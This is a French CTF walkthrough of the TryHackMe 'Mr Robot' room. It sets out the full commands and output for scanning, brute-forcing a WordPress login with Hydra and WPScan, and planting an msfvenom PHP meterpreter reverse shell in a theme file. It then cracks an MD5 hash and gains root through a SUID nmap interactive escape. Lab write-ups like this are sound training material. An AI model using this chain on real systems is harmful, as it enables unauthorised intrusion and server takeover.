Accessible ici : https://tryhackme.com/room/mrrobot
Préparation de mon environnement
Dans plusieurs terminaux dans ma VM Kali :
host=http://10.10.205.155/
mkdir ~/THM/mrrobot
cd ~/THM/mrrobot
NB : L'adresse IP est susceptible d'être différentes dans les captures, car j'ai fait le CTF sur plusieurs moments
Scan
NMAP
sudo nmap -sV -sC -O $host -o nmap.txt
Résultat :
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
GOBUSTER
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://$host -o gobuster_dirs
Résultat :
/images (Status: 301) [Size: 236] [--> http://10.10.175.178/images/]
/index.html (Status: 200) [Size: 1188]
/blog (Status: 301) [Size: 234] [--> http://10.10.175.178/blog/]
/rss (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://10.10.175.178/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.10.175.178/0/]
/feed (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/]
/video (Status: 301) [Size: 235] [--> http://10.10.175.178/video/]
/image (Status: 301) [Size: 0] [--> http://10.10.175.178/image/]
/atom (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/atom/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.175.178/wp-content/]
/admin (Status: 301) [Size: 235] [--> http://10.10.175.178/admin/]
/audio (Status: 301) [Size: 235] [--> http://10.10.175.178/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2613]
/css (Status: 301) [Size: 233] [--> http://10.10.175.178/css/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/]
/license (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.175.178/wp-includes/]
/js (Status: 301) [Size: 232] [--> http://10.10.175.178/js/]
/Image (Status: 301) [Size: 0] [--> http://10.10.175.178/Image/]
/rdf (Status: 301) [Size: 0] [--> http://10.10.175.178/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.10.175.178/]
/readme (Status: 200) [Size: 64]
/readme.html (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.175.178/wp-admin/]
/%20 (Status: 301) [Size: 0] [--> http://10.10.175.178/]
Plusieurs URLs intéressantes :
/wp-login
: un Wordpress avec sa page de connexion/
: nous emmenène vers un site aux couleurs de Mr Robot mais/images
ou toute autre page (/a par exemple) nous emmène vers le blog Wordpress (vide mais utile pour la suite)
/robots
: contient du texte
Accès
Avec Chromium : /robots
Clé 1
Nous avons la première clé :
Accès à http://10.10.175.178/key-1-of-3.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Dictionnaire de mots de passe
Egalement, téléchargeons le fichier http://10.10.175.178/fsocity.dic
Il s'agit d'un fichier contenant une liste de mots, donc un dictionnaire pour casser du mot de passe, mais avec plus de 800 000 entrées !
Mon erreur a été de le prendre comme ça... les tentatives avec hydra et john était interminables. Du coup, j'ai dû checker un writeup pour ce petit obstacle.
Ce qui nous donne les commandes suivantes :
$ wc -l fsocity.dic
858160 fsocity.dic
cat fsocity.dic | sort |uniq > fsociety.wordlist
$ wc -l fsociety.wordlist
11451 fsociety.wordlist
Accès à Wordpress /wp-login
On se rend compte qu'il est possible de faire du username enumeration : WP nous prévient lorsque c'est le mot de passe qui pose problème, ou quand le username est inconnu. J'aurais pu tenter avec WPSCan, mais un feeling me pousse à essayer simplement avec elliot
(et un mot de passe quelconque) :
elliot
est donc le username à utiliser pour brute-forcer avec le dictionnaire fourni (on suppose)
Attaque
Brute-Force Wordpress
On brute-force en ligne avec au choix hydra ou WPScan + elliot
en username + la liste de mots téléchargée pour le password.
Avec WPScan :
wpscan --url http://$host -P fsociety.wordlist --usernames elliot
Avec Hydra, après avoir analysé avec Burp la requête post
envoyée par le navigateur lors de la tentative de connexion :
hydra -l elliot -P fsociety.wordlist $host -V http-form-post '/wp-login.php:log=elliot&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.144.214%2Fwp-admin%2F&testcookie=1:The password you entered
' -t 60
(...)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "expertise" - 5736 of 11452 [child 2] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "experts" - 5737 of 11452 [child 55] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "expirationdate" - 5738 of 11452 [child 59] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "expiry" - 5739 of 11452 [child 22] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explain" - 5740 of 11452 [child 19] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explained" - 5741 of 11452 [child 24] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explaining" - 5742 of 11452 [child 28] (0/0)
[ATTEMPT] target 10.10.16.89 - login "elliot" - pass "explains" - 5743 of 11452 [child 1] (0/0)
[80][http-post-form] host: 10.10.16.89 login: elliot password: XXXXXXXXX
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-23 22:52:41
Foothold
Le username et le mot de passe trouvés nous permettent d'accéder à l'interface d'admin de WP et surtout la modification de pages PHP.
Générons du code PHP pour l'injection d'un revshell :
msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=8000
NB : Nous utilisons ici le handler de Metasploit. Au départ, j'avais généré du code pour un handler netcat simple, mais le shell obtenu ne me permettait pas de taper de commandes interactives (comme su
)
NB2 : également, j'avais d'abord utilisé le payload php/meterpreter_reverse_tcp
. Le code généré faisait planter le serveur cible...
On copie/colle le code PHP obtenu dans une page PHP de Wordpress : Menu Appearance / Editor, à la fin de la page customizer.php :
Côté Kali, lançons le handler dans Metasploit :
└─$ msfconsole
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 8000
LPORT => 8000
msf6 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > exploit
Côté cible, on refresh le blog Wordpress (en accédant à la page /image
par exemple). Cela exécute le code PHP injecté, qui se connecte au handler :
[*] Started reverse TCP handler on X.X.X.X:8000
[*] Sending stage (39860 bytes) to 10.10.254.152
[*] Meterpreter session 2 opened (X.X.X.X:8000 -> 10.10.254.152:52054 ) at 2022-06-24 12:21:32 +0200
meterpreter > shell
Process 1985 created.
Channel 0 created.
On découvre l'arborescence et on tombe sur le répertoire /home/robot
avec un hash MD5 accessible avec l'utilisateur courant :
ls /home/robot/
key-2-of-3.txt
password.raw-md5
cd /home/robot/
cat password.raw-md5
robot:##################################
Le fichier key-2-of-3.txt
n'est pas accessible.
Elévation de privilège
Le hash MD5 est peut-être le mot de passe du compte robot
?
Tentons de le brute-forcer. Sur Kali, on met le hash obtenu dans le fichier hash
puis on casse (je ne sais plus quelle commande a fonctionné exactement) :
john hash --format=Raw-MD5
john hash --format=Raw-MD5 --wordlist=/usr/share/john/password.lst
john hash --format=Raw-MD5 --wordlist=fsociety.wordlist
Après quelques minutes, le mot de passe en clair est trouvé :
john hash --format=Raw-MD5 --show
robot:zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
1 password hash cracked, 0 left
Clé 2
On retourne dans le reverse shell, on peut maintenant passer sur le compte robot
:
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on X.X.X.X:8000
[*] Sending stage (39860 bytes) to 10.10.254.152
[*] Meterpreter session 2 opened (X.X.X.X:8000 -> 10.10.254.152:52054 ) at 2022-06-24 12:21:32 +0200
meterpreter > shell
Process 1985 created.
Channel 0 created.
su - robot
su: must be run from a terminal
python3 -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su - robot
su - robot
Password: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
$
Il suffit d'afficher la clé 2 dans le répertoire /home/robot
.
Passage en root
On essaye ensuite le trio classique :
sudo -l
: riencat /etc/crontab
: rien etcrontab -e
me fait planter le channel- recherche de SUID : bingo. On a curieusement un nmap en SUID, et il possible d'échapper un shell dans un nmap interactif :
$ find / -perm -4000
find / -perm -4000
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
find: `/etc/ssl/private': Permission denied
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
(...)
$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#
Il ne reste plus qu'à afficher la dernière clé !